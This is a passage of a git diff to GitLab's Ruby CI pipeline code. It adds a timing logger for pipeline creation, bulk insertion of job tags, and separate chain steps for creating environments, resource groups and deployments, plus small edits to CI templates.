- delegate :expandset, to: :context
+ def normalize_location(location)
+ logger.instrument(:config_mapper_normalize) do
+ normalize_location_without_instrumentation(location)
+ end
+ end
# convert location if String to canonical form
- def normalize_location(location)
+ def normalize_location_without_instrumentation(location)
if location.is_a?(String)
expanded_location = expand_variables(location)
normalize_location_string(expanded_location)
@@ -58,6 +70,12 @@ module Gitlab
end
def verify_rules(location)
+ logger.instrument(:config_mapper_rules) do
+ verify_rules_without_instrumentation(location)
+ end
+ end
+
+ def verify_rules_without_instrumentation(location)
return unless Rules.new(location[:rules]).evaluate(context).pass?
location
@@ -72,6 +90,12 @@ module Gitlab
end
def expand_wildcard_paths(location)
+ logger.instrument(:config_mapper_wildcards) do
+ expand_wildcard_paths_without_instrumentation(location)
+ end
+ end
+
+ def expand_wildcard_paths_without_instrumentation(location)
# We only support local files for wildcard paths
return location unless location[:local] && location[:local].include?('*')
@@ -89,6 +113,12 @@ module Gitlab
end
def verify_duplicates!(location)
+ logger.instrument(:config_mapper_verify) do
+ verify_duplicates_without_instrumentation!(location)
+ end
+ end
+
+ def verify_duplicates_without_instrumentation!(location)
if expandset.count >= MAX_INCLUDES
raise TooManyIncludesError, "Maximum of #{MAX_INCLUDES} nested includes are allowed!"
end
@@ -106,6 +136,12 @@ module Gitlab
end
def select_first_matching(location)
+ logger.instrument(:config_mapper_select) do
+ select_first_matching_without_instrumentation(location)
+ end
+ end
+
+ def select_first_matching_without_instrumentation(location)
matching = FILE_CLASSES.map do |file_class|
file_class.new(location, context)
end.select(&:matching?)
@@ -116,6 +152,12 @@ module Gitlab
end
def expand_variables(data)
+ logger.instrument(:config_mapper_variables) do
+ expand_variables_without_instrumentation(data)
+ end
+ end
+
+ def expand_variables_without_instrumentation(data)
if data.is_a?(String)
expand(data)
else
@@ -137,7 +179,7 @@ module Gitlab
end
def expand(data)
- ExpandVariables.expand(data, context.variables)
+ ExpandVariables.expand(data, -> { context.variables_hash })
end
end
end
diff --git a/lib/gitlab/ci/config/external/processor.rb b/lib/gitlab/ci/config/external/processor.rb
index de69a1b1e8f..6a4aee26d80 100644
--- a/lib/gitlab/ci/config/external/processor.rb
+++ b/lib/gitlab/ci/config/external/processor.rb
@@ -7,10 +7,13 @@ module Gitlab
class Processor
IncludeError = Class.new(StandardError)
+ attr_reader :context, :logger
+
def initialize(values, context)
@values = values
@external_files = External::Mapper.new(values, context).process
@content = {}
+ @logger = context.logger
rescue External::Mapper::Error,
OpenSSL::SSL::SSLError => e
raise IncludeError, e.message
@@ -29,13 +32,17 @@ module Gitlab
def validate_external_files!
@external_files.each do |file|
- raise IncludeError, file.error_message unless file.valid?
+ logger.instrument(:config_external_verify) do
+ raise IncludeError, file.error_message unless file.valid?
+ end
end
end
def merge_external_files!
@external_files.each do |file|
- @content.deep_merge!(file.to_hash)
+ logger.instrument(:config_external_merge) do
+ @content.deep_merge!(file.to_hash)
+ end
end
end
diff --git a/lib/gitlab/ci/features.rb b/lib/gitlab/ci/features.rb
deleted file mode 100644
index 51051b0490f..00000000000
--- a/lib/gitlab/ci/features.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Ci
- ##
- # Deprecated: Ci::Features is a class that aggregates all CI/CD feature flags in one place.
- #
- module Features
- # NOTE: The feature flag `disallow_to_create_merge_request_pipelines_in_target_project`
- # is a safe switch to disable the feature for a particular project when something went wrong,
- # therefore it's not supposed to be enabled by default.
- def self.disallow_to_create_merge_request_pipelines_in_target_project?(target_project)
- ::Feature.enabled?(:ci_disallow_to_create_merge_request_pipelines_in_target_project, target_project)
- end
-
- def self.accept_trace?(project)
- ::Feature.enabled?(:ci_enable_live_trace, project) &&
- ::Feature.enabled?(:ci_accept_trace, project, type: :ops, default_enabled: true)
- end
-
- def self.log_invalid_trace_chunks?(project)
- ::Feature.enabled?(:ci_trace_log_invalid_chunks, project, type: :ops, default_enabled: false)
- end
-
- def self.gldropdown_tags_enabled?
- ::Feature.enabled?(:gldropdown_tags, default_enabled: :yaml)
- end
- end
- end
-end
diff --git a/lib/gitlab/ci/parsers/security/validators/schema_validator.rb b/lib/gitlab/ci/parsers/security/validators/schema_validator.rb
index 73cfa02ce4b..651ed23eb25 100644
--- a/lib/gitlab/ci/parsers/security/validators/schema_validator.rb
+++ b/lib/gitlab/ci/parsers/security/validators/schema_validator.rb
@@ -34,7 +34,7 @@ module Gitlab
end
def file_name
- "#{report_type.to_s.dasherize}-report-format.json"
+ report_type == :api_fuzzing ? "dast-report-format.json" : "#{report_type.to_s.dasherize}-report-format.json"
end
end
diff --git a/lib/gitlab/ci/parsers/terraform/tfplan.rb b/lib/gitlab/ci/parsers/terraform/tfplan.rb
index f9afa58f915..041d73cd914 100644
--- a/lib/gitlab/ci/parsers/terraform/tfplan.rb
+++ b/lib/gitlab/ci/parsers/terraform/tfplan.rb
@@ -34,7 +34,7 @@ module Gitlab
def job_details(job)
{
'job_id' => job.id.to_s,
- 'job_name' => job.options.dig(:artifacts, :name).to_s,
+ 'job_name' => job.name,
'job_path' => Gitlab::Routing.url_helpers.project_job_path(job.project, job)
}
end
diff --git a/lib/gitlab/ci/pipeline/chain/base.rb b/lib/gitlab/ci/pipeline/chain/base.rb
index 9b494f3a7ec..28567437719 100644
--- a/lib/gitlab/ci/pipeline/chain/base.rb
+++ b/lib/gitlab/ci/pipeline/chain/base.rb
@@ -7,7 +7,7 @@ module Gitlab
class Base
attr_reader :pipeline, :command, :config
- delegate :project, :current_user, :parent_pipeline, to: :command
+ delegate :project, :current_user, :parent_pipeline, :logger, to: :command
def initialize(pipeline, command)
@pipeline = pipeline
diff --git a/lib/gitlab/ci/pipeline/chain/build.rb b/lib/gitlab/ci/pipeline/chain/build.rb
index 6feb693221b..bbdc6b65b96 100644
--- a/lib/gitlab/ci/pipeline/chain/build.rb
+++ b/lib/gitlab/ci/pipeline/chain/build.rb
@@ -21,6 +21,10 @@ module Gitlab
merge_request: @command.merge_request,
external_pull_request: @command.external_pull_request,
locked: @command.project.default_pipeline_lock)
+
+ # Initialize the feature flag at the beginning of the pipeline creation process
+ # so that the flag references in the latter chains return the same value.
+ @pipeline.create_deployment_in_separate_transaction?
end
def break?
diff --git a/lib/gitlab/ci/pipeline/chain/command.rb b/lib/gitlab/ci/pipeline/chain/command.rb
index beb8801096b..c466b8b36d0 100644
--- a/lib/gitlab/ci/pipeline/chain/command.rb
+++ b/lib/gitlab/ci/pipeline/chain/command.rb
@@ -11,7 +11,7 @@ module Gitlab
:trigger_request, :schedule, :merge_request, :external_pull_request,
:ignore_skip_ci, :save_incompleted,
:seeds_block, :variables_attributes, :push_options,
- :chat_data, :allow_mirror_update, :bridge, :content, :dry_run,
+ :chat_data, :allow_mirror_update, :bridge, :content, :dry_run, :logger,
# These attributes are set by Chains during processing:
:config_content, :yaml_processor_result, :workflow_rules_result, :pipeline_seed
) do
@@ -88,7 +88,14 @@ module Gitlab
@metrics ||= ::Gitlab::Ci::Pipeline::Metrics
end
+ def logger
+ self[:logger] ||= ::Gitlab::Ci::Pipeline::Logger.new(project: project)
+ end
+
def observe_step_duration(step_class, duration)
+ step = step_class.name.underscore.parameterize(separator: '_')
+ logger.observe("pipeline_step_#{step}_duration_s", duration)
+
if Feature.enabled?(:ci_pipeline_creation_step_duration_tracking, type: :ops, default_enabled: :yaml)
metrics.pipeline_creation_step_duration_histogram
.observe({ step: step_class.name }, duration.seconds)
@@ -96,11 +103,15 @@ module Gitlab
end
def observe_creation_duration(duration)
+ logger.observe(:pipeline_creation_duration_s, duration)
+
metrics.pipeline_creation_duration_histogram
.observe({}, duration.seconds)
end
def observe_pipeline_size(pipeline)
+ logger.observe(:pipeline_size_count, pipeline.total_size)
+
metrics.pipeline_size_histogram
.observe({ source: pipeline.source.to_s }, pipeline.total_size)
end
diff --git a/lib/gitlab/ci/pipeline/chain/config/process.rb b/lib/gitlab/ci/pipeline/chain/config/process.rb
index f3c937ddd28..64d1b001e3c 100644
--- a/lib/gitlab/ci/pipeline/chain/config/process.rb
+++ b/lib/gitlab/ci/pipeline/chain/config/process.rb
@@ -11,16 +11,21 @@ module Gitlab
def perform!
raise ArgumentError, 'missing config content' unless @command.config_content
- result = ::Gitlab::Ci::YamlProcessor.new(
- @command.config_content, {
- project: project,
- pipeline: @pipeline,
- sha: @pipeline.sha,
- source: @pipeline.source,
- user: current_user,
- parent_pipeline: parent_pipeline
- }
- ).execute
+ result = logger.instrument(:pipeline_config_process) do
+ processor = ::Gitlab::Ci::YamlProcessor.new(
+ @command.config_content, {
+ project: project,
+ pipeline: @pipeline,
+ sha: @pipeline.sha,
+ source: @pipeline.source,
+ user: current_user,
+ parent_pipeline: parent_pipeline,
+ logger: logger
+ }
+ )
+
+ processor.execute
+ end
add_warnings_to_pipeline(result.warnings)
diff --git a/lib/gitlab/ci/pipeline/chain/create.rb b/lib/gitlab/ci/pipeline/chain/create.rb
index 81ef3bb074d..15b0ff3c04d 100644
--- a/lib/gitlab/ci/pipeline/chain/create.rb
+++ b/lib/gitlab/ci/pipeline/chain/create.rb
@@ -6,10 +6,18 @@ module Gitlab
module Chain
class Create < Chain::Base
include Chain::Helpers
+ include Gitlab::Utils::StrongMemoize
def perform!
- BulkInsertableAssociations.with_bulk_insert do
- pipeline.save!
+ logger.instrument(:pipeline_save) do
+ BulkInsertableAssociations.with_bulk_insert do
+ tags = extract_tag_list_by_status
+
+ pipeline.transaction do
+ pipeline.save!
+ CommitStatus.bulk_insert_tags!(statuses, tags) if bulk_insert_tags?
+ end
+ end
end
rescue ActiveRecord::RecordInvalid => e
error("Failed to persist the pipeline: #{e}")
@@ -18,6 +26,37 @@ module Gitlab
def break?
!pipeline.persisted?
end
+
+ private
+
+ def statuses
+ strong_memoize(:statuses) do
+ pipeline.stages.flat_map(&:statuses)
+ end
+ end
+
+ # We call `job.tag_list=` to assign tags to the jobs from the
+ # Chain::Seed step which uses the `@tag_list` instance variable to
+ # store them on the record. We remove them here because we want to
+ # bulk insert them, otherwise they would be inserted and assigned one
+ # by one with callbacks. We must use `remove_instance_variable`
+ # because having the instance variable defined would still run the callbacks
+ def extract_tag_list_by_status
+ return {} unless bulk_insert_tags?
+
+ statuses.each.with_object({}) do |job, acc|
+ tag_list = job.clear_memoization(:tag_list)
+ next unless tag_list
+
+ acc[job.name] = tag_list
+ end
+ end
+
+ def bulk_insert_tags?
+ strong_memoize(:bulk_insert_tags) do
+ ::Feature.enabled?(:ci_bulk_insert_tags, project, default_enabled: :yaml)
+ end
+ end
end
end
end
diff --git a/lib/gitlab/ci/pipeline/chain/create_deployments.rb b/lib/gitlab/ci/pipeline/chain/create_deployments.rb
new file mode 100644
index 00000000000..b92aa89d62d
--- /dev/null
+++ b/lib/gitlab/ci/pipeline/chain/create_deployments.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Pipeline
+ module Chain
+ class CreateDeployments < Chain::Base
+ DeploymentCreationError = Class.new(StandardError)
+
+ def perform!
+ return unless pipeline.create_deployment_in_separate_transaction?
+
+ create_deployments!
+ end
+
+ def break?
+ false
+ end
+
+ private
+
+ def create_deployments!
+ pipeline.stages.map(&:statuses).flatten.map(&method(:create_deployment))
+ end
+
+ def create_deployment(build)
+ return unless build.instance_of?(::Ci::Build) && build.persisted_environment.present?
+
+ deployment = ::Gitlab::Ci::Pipeline::Seed::Deployment
+ .new(build, build.persisted_environment).to_resource
+
+ return unless deployment
+
+ deployment.deployable = build
+ deployment.save!
+ rescue ActiveRecord::RecordInvalid => e
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(
+ DeploymentCreationError.new(e.message), build_id: build.id)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/pipeline/chain/ensure_environments.rb b/lib/gitlab/ci/pipeline/chain/ensure_environments.rb
new file mode 100644
index 00000000000..424e1d87fb4
--- /dev/null
+++ b/lib/gitlab/ci/pipeline/chain/ensure_environments.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Pipeline
+ module Chain
+ class EnsureEnvironments < Chain::Base
+ def perform!
+ return unless pipeline.create_deployment_in_separate_transaction?
+
+ pipeline.stages.map(&:statuses).flatten.each(&method(:ensure_environment))
+ end
+
+ def break?
+ false
+ end
+
+ private
+
+ def ensure_environment(build)
+ return unless build.instance_of?(::Ci::Build) && build.has_environment?
+
+ environment = ::Gitlab::Ci::Pipeline::Seed::Environment.new(build).to_resource
+
+ if environment.persisted?
+ build.persisted_environment = environment
+ build.assign_attributes(metadata_attributes: { expanded_environment_name: environment.name })
+ else
+ build.assign_attributes(status: :failed, failure_reason: :environment_creation_failure)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/pipeline/chain/ensure_resource_groups.rb b/lib/gitlab/ci/pipeline/chain/ensure_resource_groups.rb
new file mode 100644
index 00000000000..f4e5e6e467a
--- /dev/null
+++ b/lib/gitlab/ci/pipeline/chain/ensure_resource_groups.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Pipeline
+ module Chain
+ class EnsureResourceGroups < Chain::Base
+ def perform!
+ return unless pipeline.create_deployment_in_separate_transaction?
+
+ pipeline.stages.map(&:statuses).flatten.each(&method(:ensure_resource_group))
+ end
+
+ def break?
+ false
+ end
+
+ private
+
+ def ensure_resource_group(processable)
+ return unless processable.is_a?(::Ci::Processable)
+
+ key = processable.options.delete(:resource_group_key)
+
+ resource_group = ::Gitlab::Ci::Pipeline::Seed::Processable::ResourceGroup
+ .new(processable, key).to_resource
+
+ processable.resource_group = resource_group
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/pipeline/chain/seed.rb b/lib/gitlab/ci/pipeline/chain/seed.rb
index ef7447fa83d..356eeb76908 100644
--- a/lib/gitlab/ci/pipeline/chain/seed.rb
+++ b/lib/gitlab/ci/pipeline/chain/seed.rb
@@ -13,8 +13,10 @@ module Gitlab
raise ArgumentError, 'missing workflow rules result' unless @command.workflow_rules_result
# Allocate next IID. This operation must be outside of transactions of pipeline creations.
- pipeline.ensure_project_iid!
- pipeline.ensure_ci_ref!
+ logger.instrument(:pipeline_allocate_seed_attributes) do
+ pipeline.ensure_project_iid!
+ pipeline.ensure_ci_ref!
+ end
# Protect the pipeline. This is assigned in Populate instead of
# Build to prevent erroring out on ambiguous refs.
@@ -23,8 +25,12 @@ module Gitlab
##
# Gather all runtime build/stage errors
#
- if pipeline_seed.errors
- return error(pipeline_seed.errors.join("\n"), config_error: true)
+ seed_errors = logger.instrument(:pipeline_seed_evaluation) do
+ pipeline_seed.errors
+ end
+
+ if seed_errors
+ return error(seed_errors.join("\n"), config_error: true)
end
@command.pipeline_seed = pipeline_seed
@@ -38,8 +44,11 @@ module Gitlab
def pipeline_seed
strong_memoize(:pipeline_seed) do
- stages_attributes = @command.yaml_processor_result.stages_attributes
- Gitlab::Ci::Pipeline::Seed::Pipeline.new(context, stages_attributes)
+ logger.instrument(:pipeline_seed_initialization) do
+ stages_attributes = @command.yaml_processor_result.stages_attributes
+
+ Gitlab::Ci::Pipeline::Seed::Pipeline.new(context, stages_attributes)
+ end
end
end
@@ -48,9 +57,11 @@ module Gitlab
end
def root_variables
- ::Gitlab::Ci::Variables::Helpers.merge_variables(
- @command.yaml_processor_result.root_variables, @command.workflow_rules_result.variables
- )
+ logger.instrument(:pipeline_seed_merge_variables) do
+ ::Gitlab::Ci::Variables::Helpers.merge_variables(
+ @command.yaml_processor_result.root_variables, @command.workflow_rules_result.variables
+ )
+ end
end
end
end
diff --git a/lib/gitlab/ci/pipeline/chain/sequence.rb b/lib/gitlab/ci/pipeline/chain/sequence.rb
index 845eb6c7a42..de147914850 100644
--- a/lib/gitlab/ci/pipeline/chain/sequence.rb
+++ b/lib/gitlab/ci/pipeline/chain/sequence.rb
@@ -9,30 +9,36 @@ module Gitlab
@pipeline = pipeline
@command = command
@sequence = sequence
- @start = Time.now
+ @start = current_monotonic_time
end
def build!
@sequence.each do |step_class|
- step_start = ::Gitlab::Metrics::System.monotonic_time
+ step_start = current_monotonic_time
step = step_class.new(@pipeline, @command)
step.perform!
@command.observe_step_duration(
step_class,
- ::Gitlab::Metrics::System.monotonic_time - step_start
+ current_monotonic_time - step_start
)
break if step.break?
end
- @command.observe_creation_duration(Time.now - @start)
+ @command.observe_creation_duration(current_monotonic_time - @start)
@command.observe_pipeline_size(@pipeline)
@command.observe_jobs_count_in_alive_pipelines
@pipeline
end
+
+ private
+
+ def current_monotonic_time
+ ::Gitlab::Metrics::System.monotonic_time
+ end
end
end
end
diff --git a/lib/gitlab/ci/pipeline/chain/validate/external.rb b/lib/gitlab/ci/pipeline/chain/validate/external.rb
index 28ba1cd4d47..85bd5f0a7c1 100644
--- a/lib/gitlab/ci/pipeline/chain/validate/external.rb
+++ b/lib/gitlab/ci/pipeline/chain/validate/external.rb
@@ -113,7 +113,7 @@ module Gitlab
name: build[:name],
stage: build[:stage],
image: build.dig(:options, :image, :name),
- services: build.dig(:options, :services)&.map { |service| service[:name] },
+ services: service_names(build),
script: [
build.dig(:options, :before_script),
build.dig(:options, :script),
@@ -122,6 +122,14 @@ module Gitlab
}
end
+ def service_names(build)
+ services = build.dig(:options, :services)
+
+ return unless services
+
+ services.compact.map { |service| service[:name] }
+ end
+
def stages_attributes
command.yaml_processor_result.stages_attributes
end
diff --git a/lib/gitlab/ci/pipeline/expression/lexeme/variable.rb b/lib/gitlab/ci/pipeline/expression/lexeme/variable.rb
index 11d2010909f..6da88fd287e 100644
--- a/lib/gitlab/ci/pipeline/expression/lexeme/variable.rb
+++ b/lib/gitlab/ci/pipeline/expression/lexeme/variable.rb
@@ -9,7 +9,11 @@ module Gitlab
PATTERN = /\$(?<name>\w+)/.freeze
def evaluate(variables = {})
- variables.with_indifferent_access.fetch(@value, nil)
+ unless variables.is_a?(ActiveSupport::HashWithIndifferentAccess)
+ variables = variables.with_indifferent_access
+ end
+
+ variables.fetch(@value, nil)
end
def inspect
diff --git a/lib/gitlab/ci/pipeline/expression/statement.rb b/lib/gitlab/ci/pipeline/expression/statement.rb
index 5f3310dd668..4b13cae792e 100644
--- a/lib/gitlab/ci/pipeline/expression/statement.rb
+++ b/lib/gitlab/ci/pipeline/expression/statement.rb
@@ -9,7 +9,7 @@ module Gitlab
def initialize(statement, variables = nil)
@lexer = Expression::Lexer.new(statement)
- @variables = variables&.to_hash
+ @variables = variables || {}
end
def parse_tree
@@ -19,7 +19,7 @@ module Gitlab
end
def evaluate
- parse_tree.evaluate(@variables.to_h)
+ parse_tree.evaluate(@variables)
end
def truthful?
diff --git a/lib/gitlab/ci/pipeline/logger.rb b/lib/gitlab/ci/pipeline/logger.rb
new file mode 100644
index 00000000000..97f7dddd09a
--- /dev/null
+++ b/lib/gitlab/ci/pipeline/logger.rb
@@ -0,0 +1,103 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Pipeline
+ class Logger
+ include ::Gitlab::Utils::StrongMemoize
+
+ def self.current_monotonic_time
+ ::Gitlab::Metrics::System.monotonic_time
+ end
+
+ def initialize(project:, destination: Gitlab::AppJsonLogger)
+ @started_at = current_monotonic_time
+ @project = project
+ @destination = destination
+ @log_conditions = []
+
+ yield(self) if block_given?
+ end
+
+ def log_when(&block)
+ log_conditions.push(block)
+ end
+
+ def instrument(operation)
+ return yield unless enabled?
+
+ raise ArgumentError, 'block not given' unless block_given?
+
+ op_started_at = current_monotonic_time
+
+ result = yield
+
+ observe("#{operation}_duration_s", current_monotonic_time - op_started_at)
+
+ result
+ end
+
+ def observe(operation, value)
+ return unless enabled?
+
+ observations[operation.to_s].push(value)
+ end
+
+ def commit(pipeline:, caller:)
+ return unless log?
+
+ attributes = {
+ class: self.class.name.to_s,
+ pipeline_creation_caller: caller,
+ project_id: project.id,
+ pipeline_id: pipeline.id,
+ pipeline_persisted: pipeline.persisted?,
+ pipeline_source: pipeline.source,
+ pipeline_creation_service_duration_s: age
+ }.stringify_keys.merge(observations_hash)
+
+ destination.info(attributes)
+ end
+
+ def observations_hash
+ observations.transform_values do |values|
+ next if values.empty?
+
+ {
+ 'count' => values.size,
+ 'min' => values.min,
+ 'max' => values.max,
+ 'avg' => values.sum / values.size
+ }
+ end.compact
+ end
+
+ private
+
+ attr_reader :project, :destination, :started_at, :log_conditions
+ delegate :current_monotonic_time, to: :class
+
+ def age
+ current_monotonic_time - started_at
+ end
+
+ def log?
+ return false unless enabled?
+ return true if log_conditions.empty?
+
+ log_conditions.any? { |cond| cond.call(observations) }
+ end
+
+ def enabled?
+ strong_memoize(:enabled) do
+ ::Feature.enabled?(:ci_pipeline_creation_logger, project, type: :ops, default_enabled: :yaml)
+ end
+ end
+
+ def observations
+ @observations ||= Hash.new { |hash, key| hash[key] = [] }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/pipeline/seed/build.rb b/lib/gitlab/ci/pipeline/seed/build.rb
index 72837b8ec22..762292f0fa3 100644
--- a/lib/gitlab/ci/pipeline/seed/build.rb
+++ b/lib/gitlab/ci/pipeline/seed/build.rb
@@ -7,8 +7,6 @@ module Gitlab
class Build < Seed::Base
include Gitlab::Utils::StrongMemoize
- EnvironmentCreationFailure = Class.new(StandardError)
-
delegate :dig, to: :@seed_attributes
def initialize(context, attributes, stages_for_needs_lookup = [])
@@ -30,7 +28,7 @@ module Gitlab
@except = Gitlab::Ci::Build::Policy
.fabricate(attributes.delete(:except))
@rules = Gitlab::Ci::Build::Rules
- .new(attributes.delete(:rules), default_when: 'on_success')
+ .new(attributes.delete(:rules), default_when: attributes[:when])
@cache = Gitlab::Ci::Build::Cache
.new(attributes.delete(:cache), @pipeline)
@@ -80,7 +78,7 @@ module Gitlab
def to_resource
strong_memoize(:resource) do
processable = initialize_processable
- assign_resource_group(processable)
+ assign_resource_group(processable) unless @pipeline.create_deployment_in_separate_transaction?
processable
end
end
@@ -90,7 +88,9 @@ module Gitlab
::Ci::Bridge.new(attributes)
else
::Ci::Build.new(attributes).tap do |build|
- build.assign_attributes(self.class.deployment_attributes_for(build))
+ unless @pipeline.create_deployment_in_separate_transaction?
+ build.assign_attributes(self.class.deployment_attributes_for(build))
+ end
end
end
end
@@ -107,20 +107,7 @@ module Gitlab
environment = Seed::Environment.new(build).to_resource if environment.nil?
unless environment.persisted?
- if Feature.enabled?(:surface_environment_creation_failure, build.project, default_enabled: :yaml) &&
- Feature.disabled?(:surface_environment_creation_failure_override, build.project)
- return { status: :failed, failure_reason: :environment_creation_failure }
- end
-
- # If there is a validation error on environment creation, such as
- # the name contains invalid character, the build falls back to a
- # non-environment job.
- Gitlab::ErrorTracking.track_exception(
- EnvironmentCreationFailure.new,
- project_id: build.project_id,
- reason: environment.errors.full_messages.to_sentence)
-
- return { environment: nil }
+ return { status: :failed, failure_reason: :environment_creation_failure }
end
build.persisted_environment = environment
@@ -215,12 +202,14 @@ module Gitlab
end
def runner_tags
- { tag_list: evaluate_runner_tags }.compact
+ strong_memoize(:runner_tags) do
+ { tag_list: evaluate_runner_tags }.compact
+ end
end
def evaluate_runner_tags
- @seed_attributes[:tag_list]&.map do |tag|
- ExpandVariables.expand_existing(tag, evaluate_context.variables)
+ @seed_attributes.delete(:tag_list)&.map do |tag|
+ ExpandVariables.expand_existing(tag, -> { evaluate_context.variables_hash })
end
end
diff --git a/lib/gitlab/ci/reports/security/report.rb b/lib/gitlab/ci/reports/security/report.rb
index 417319cb5be..3e4a44a2e70 100644
--- a/lib/gitlab/ci/reports/security/report.rb
+++ b/lib/gitlab/ci/reports/security/report.rb
@@ -51,7 +51,7 @@ module Gitlab
def replace_with!(other)
instance_variables.each do |ivar|
- instance_variable_set(ivar, other.public_send(ivar.to_s[1..-1])) # rubocop:disable GitlabSecurity/PublicSend
+ instance_variable_set(ivar, other.public_send(ivar.to_s[1..])) # rubocop:disable GitlabSecurity/PublicSend
end
end
diff --git a/lib/gitlab/ci/status/bridge/common.rb b/lib/gitlab/ci/status/bridge/common.rb
index d66d4b20bba..eaa87157716 100644
--- a/lib/gitlab/ci/status/bridge/common.rb
+++ b/lib/gitlab/ci/status/bridge/common.rb
@@ -16,7 +16,11 @@ module Gitlab
def details_path
return unless can?(user, :read_pipeline, downstream_pipeline)
- project_pipeline_path(downstream_project, downstream_pipeline)
+ if Feature.enabled?(:ci_retry_downstream_pipeline, subject.project, default_enabled: :yaml)
+ project_job_path(subject.project, subject)
+ else
+ project_pipeline_path(downstream_project, downstream_pipeline)
+ end
end
def has_action?
diff --git a/lib/gitlab/ci/status/build/failed.rb b/lib/gitlab/ci/status/build/failed.rb
index b0f12ff7517..5dd28157b1f 100644
--- a/lib/gitlab/ci/status/build/failed.rb
+++ b/lib/gitlab/ci/status/build/failed.rb
@@ -34,7 +34,8 @@ module Gitlab
no_matching_runner: 'no matching runner available',
trace_size_exceeded: 'log size limit exceeded',
builds_disabled: 'project builds are disabled',
- environment_creation_failure: 'environment creation failure'
+ environment_creation_failure: 'environment creation failure',
+ deployment_rejected: 'deployment rejected'
}.freeze
private_constant :REASONS
diff --git a/lib/gitlab/ci/tags/bulk_insert.rb b/lib/gitlab/ci/tags/bulk_insert.rb
new file mode 100644
index 00000000000..a299df7e2d9
--- /dev/null
+++ b/lib/gitlab/ci/tags/bulk_insert.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Tags
+ class BulkInsert
+ TAGGINGS_BATCH_SIZE = 1000
+ TAGS_BATCH_SIZE = 500
+
+ def initialize(statuses, tag_list_by_status)
+ @statuses = statuses
+ @tag_list_by_status = tag_list_by_status
+ end
+
+ def insert!
+ return false if tag_list_by_status.empty?
+
+ persist_build_tags!
+ end
+
+ private
+
+ attr_reader :statuses, :tag_list_by_status
+
+ def persist_build_tags!
+ all_tags = tag_list_by_status.values.flatten.uniq.reject(&:blank?)
+ tag_records_by_name = create_tags(all_tags).index_by(&:name)
+ taggings = build_taggings_attributes(tag_records_by_name)
+
+ return false if taggings.empty?
+
+ taggings.each_slice(TAGGINGS_BATCH_SIZE) do |taggings_slice|
+ ActsAsTaggableOn::Tagging.insert_all!(taggings)
+ end
+
+ true
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def create_tags(tags)
+ existing_tag_records = ActsAsTaggableOn::Tag.where(name: tags).to_a
+ missing_tags = detect_missing_tags(tags, existing_tag_records)
+ return existing_tag_records if missing_tags.empty?
+
+ missing_tags
+ .map { |tag| { name: tag } }
+ .each_slice(TAGS_BATCH_SIZE) do |tags_attributes|
+ ActsAsTaggableOn::Tag.insert_all!(tags_attributes)
+ end
+
+ ActsAsTaggableOn::Tag.where(name: tags).to_a
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ def build_taggings_attributes(tag_records_by_name)
+ taggings = statuses.flat_map do |status|
+ tag_list = tag_list_by_status[status.name]
+ next unless tag_list
+
+ tags = tag_records_by_name.values_at(*tag_list)
+ taggings_for(tags, status)
+ end
+
+ taggings.compact!
+ taggings
+ end
+
+ def taggings_for(tags, status)
+ tags.map do |tag|
+ {
+ tag_id: tag.id,
+ taggable_type: CommitStatus.name,
+ taggable_id: status.id,
+ created_at: Time.current,
+ context: 'tags'
+ }
+ end
+ end
+
+ def detect_missing_tags(tags, tag_records)
+ if tags.size != tag_records.size
+ tags - tag_records.map(&:name)
+ else
+ []
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml b/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml
index 89fd59d98f4..fddcc1492a8 100644
--- a/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml
@@ -53,6 +53,9 @@ variables:
# KUBE_INGRESS_BASE_DOMAIN is the application deployment domain and should be set as a variable at the group or project level.
# KUBE_INGRESS_BASE_DOMAIN: domain.example.com
+ # Allows Container-Scanning to correctly correlate image names when using Jobs/Build.gitlab-ci.yml
+ CS_DEFAULT_BRANCH_IMAGE: $CI_REGISTRY_IMAGE/$CI_DEFAULT_BRANCH:$CI_COMMIT_SHA
+
POSTGRES_USER: user
POSTGRES_PASSWORD: testing-password
POSTGRES_ENABLED: "true"
diff --git a/lib/gitlab/ci/templates/Jobs/SAST-IaC.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/SAST-IaC.latest.gitlab-ci.yml
index b763705857e..fa7f6ffa2b7 100644
--- a/lib/gitlab/ci/templates/Jobs/SAST-IaC.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/SAST-IaC.latest.gitlab-ci.yml
@@ -24,7 +24,7 @@ kics-iac-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- SAST_ANALYZER_IMAGE_TAG: 0
+ SAST_ANALYZER_IMAGE_TAG: 1
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/kics:$SAST_ANALYZER_IMAGE_TAG"
rules:
- if: $SAST_DISABLED
diff --git a/lib/gitlab/ci/templates/Pages/HTML.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/HTML.gitlab-ci.yml
index 17ed1d2e87f..d32444833fb 100644
--- a/lib/gitlab/ci/templates/Pages/HTML.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/HTML.gitlab-ci.yml
@@ -9,6 +9,7 @@ pages:
script:
- mkdir .public
- cp -r * .public
+ - rm -rf public
- mv .public public
artifacts:
paths:
diff --git a/lib/gitlab/ci/templates/Python.gitlab-ci.yml b/lib/gitlab/ci/templates/Python.gitlab-ci.yml
